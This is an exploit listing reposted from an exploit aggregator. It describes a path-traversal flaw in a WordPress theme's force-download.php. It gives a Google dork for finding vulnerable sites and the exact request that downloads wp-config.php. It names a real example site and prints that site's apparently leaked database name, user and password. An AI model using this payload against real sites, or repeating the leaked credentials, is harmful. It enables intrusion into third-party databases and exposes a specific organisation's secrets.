Advertisement






WordPress 4.9.x U_Parts Themes Database Configuration File Download

CVE Category Price Severity
N/A CWE-16 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2019-03-21
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019030180

Below is a copy:

WordPress 4.9.x U_Parts Themes Database Configuration File Download
############################################################################################

# Exploit Title : WordPress 4.9.x U_Parts Themes Database Configuration File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/03/2019
# Vendor Homepage : u-parts.com
# Software Information Link : u-parts.com/export-business/company-information/
# Software Version : 4.9.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:/wp-content/themes/u_parts/
# Vulnerability Type : 
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################################

# Impact :
***********
* WordPress 4.9.x U_Parts Themes is prone to a vulnerability that lets attackers download database config file because 

the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files 

within the context of the web server process and obtain potentially sensitive informations. 

* An information exposure is the intentional or unintentional disclosure  of information to an actor that is not explicitly authorized 

to have access to that information. * The software has Relative Path Traversal vulnerability and it uses external input to construct 

a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve 

to a location that is outside of that directory.

############################################################################################

# Vulnerable File :
****************
/force-download.php

# Vulnerable Parameter :
**********************
?file=

# Database Configuration File Download Exploit :
********************************************
/wp-content/themes/u_parts/force-download.php?file=../../../wp-config.php

Informations About MySQL Database Configuration File =>
****************************************************
** The name of the database for WordPress */
define('DB_NAME', '');

/** MySQL database username */
define('DB_USER', '');

/** MySQL database password */
define('DB_PASSWORD', '');

/** MySQL hostname */
define('DB_HOST', '');

############################################################################################

# Example Vulnerable Sites :
*************************
[+] u-parts.com/wp-content/themes/u_parts/force-download.php?file=../../../wp-config.php

*/
define('DB_NAME', 'u_parts');

/** MySQL 
*/
define('DB_USER', 'u_parts');

/** MySQL 
*/
define('DB_PASSWORD', 'YxG3J7kA');

/** 
*/
define('DB_HOST', 'localhost');

//define('DB_HOST', '127.0.0.1');

/** 
*/
define('DB_CHARSET', 'utf8');

/** 
*/
define('DB_COLLATE', '');

/**#@+
 *

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

############################################################################################

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.